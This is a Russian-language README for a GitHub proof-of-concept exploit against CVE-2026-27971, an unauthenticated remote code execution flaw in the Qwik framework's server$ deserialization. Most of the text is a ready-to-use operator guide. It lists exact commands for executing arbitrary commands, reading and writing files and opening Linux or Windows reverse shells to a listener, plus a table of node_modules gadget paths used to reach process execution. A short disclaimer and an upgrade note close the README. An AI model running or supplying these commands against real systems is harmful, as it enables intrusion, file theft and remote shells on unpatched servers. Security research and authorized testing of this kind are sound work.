
CVE-2026-27971 qwik rce
server$ PoC неаутентифицированного удаленного выполнения кода[!WARNING] Этот репозиторий содержит активный proof-of-concept удаленного выполнения кода. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не несет ответственности за несанкционированное использование или ущерб.
Автономный proof-of-concept на Python для CVE-2026-27971 / GHSA-p9x5-jp3h-96mm — неаутентифицированной уязвимости удаленного выполнения кода в механизме десериализации RPC server$ фреймворка Qwik.
PoC может выполнять активную проверку с маркером, запускать команды, читать и записывать текстовые файлы, а также запрашивать reverse shell на целях под управлением Linux или Windows. Для работы используется только стандартная библиотека Python.
| Поле | Значение |
|---|
| Продукт | Qwik — npm-пакет @builder.io/qwik |
| Затронутые версии | <= 1.19.0 |
| Исправленная версия | 1.19.1 |
| Уязвимость | Неаутентифицированное удаленное выполнение кода через небезопасную десериализацию server$ |
| Условие выполнения | require() должен быть доступен во время выполнения |
| CWE | CWE-502 — Десериализация недоверенных данных |
| Серьёзность | Критическая — CVSS 4.0: 9.2 |
| Вектор | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Специально сформированный запрос application/qwik-json может ссылаться на серверный модуль и экспортируемый символ. Уязвимые версии Qwik могут разрешать незарегистрированный QRL через require() во время выполнения и вызывать его без аутентификации. Данный PoC пытается обратиться к совместимому экспорту для выполнения процессов, уже присутствующему в node_modules цели.
Оператор:
server$/Qwik JSON.Цель:
@builder.io/qwik <= 1.19.0.require().node_modules.node, доступный в PATH сервисного процесса.Сторонние пакеты Python не требуются.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Список встроенных гаджетов без отправки запроса:
python3 exploit_combat.py --list-gadgets
Запустить активную проверку с маркером и перебрать все встроенные гаджеты:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probe— это не пассивное определение версии. Он пытается выполнить удаленный код и подтверждает это выводом маркера из процесса цели.
Выполнить команду:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Прочитать UTF-8 текстовый файл:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Записать и проверить UTF-8 текстовый файл:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Запросить reverse shell после запуска постоянного listener'а:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Принудительно использовать Windows-полезную нагрузку reverse shell, когда автоматическое определение ОС не подходит:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
Скрипт не запускает listener. Предварительная проверка --callback открывает и закрывает отдельное TCP-соединение перед отправкой полезной нагрузки shell, поэтому используйте listener, способный принимать более одного соединения.
| Опция | Описание |
|---|---|
-t URL, --target URL | Точный URL цели. По умолчанию: http://localhost:3000. Маршрут не обнаруживается автоматически. |
--probe | Активно выполнить полезную нагрузку с маркером и попытаться определить ОС. |
-c CMD, --CMD CMD | Выполнить команду через Node.js child_process.execSync(). |
--read PATH | Прочитать UTF-8 текстовый файл с помощью fs.readFileSync(). |
--write PATH --content TEXT | Записать текстовый файл, прочитать его обратно и сравнить результат. Родительские каталоги не создаются. |
--list-gadgets | Вывести названия встроенных гаджетов и выйти без сетевого запроса. |
--lhost IP | Включить режим reverse shell и задать адрес обратного вызова. |
--lport PORT | Задать порт обратного вызова. По умолчанию: 4444. |
--rev-all | Отправить все варианты reverse shell вместо остановки после первого принятого HTTP-запроса. |
--callback | Проверить исходящую TCP-доступность перед отправкой полезной нагрузки reverse shell. |
--OS {auto,linux,windows} | Выбрать семейство полезных нагрузок reverse shell. По умолчанию: auto. |
--gadget SPEC | Использовать auto, встроенное имя или пользовательский <module>#<symbol>. По умолчанию: cross-spawn.sync. |
--arg-style {argv,command,shell} | Стиль аргументов для пользовательского гаджета <module>#<symbol>. |
--timeout SECONDS | Таймаут HTTP на стороне клиента. По умолчанию: 30. |
--verify-ssl | Включить проверку TLS-сертификата и имени хоста. Проверка по умолчанию отключена. |
Режимы действий не являются взаимоисключающими в анализаторе аргументов. Используйте один из --probe, --CMD, --read, --write или --lhost за один вызов.
| Имя | Модуль и экспорт | Стиль |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
Режим --gadget auto перебирает эти гаджеты в указанном порядке. Пользовательский гаджет можно задать следующим образом:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, а не автоматическое обнаружение. Используйте --gadget auto, когда структура зависимостей цели неизвестна.--read ожидает UTF-8, а --write не предназначен для двоичных данных.--rev-all может запустить на цели несколько процессов или обратных вызовов. Используйте его только в изолированной лабораторной среде.Обновите @builder.io/qwik до версии 1.19.1 или новее, обновите lockfile, пересоберите приложение и повторно разверните все серверные артефакты. Удаление совместимого гаджета само по себе не является полным исправлением базовой уязвимости Qwik.
Этот проект предоставляется для исследований в области безопасности, защитной валидации и авторизованного тестирования. Не используйте его против систем без явного разрешения.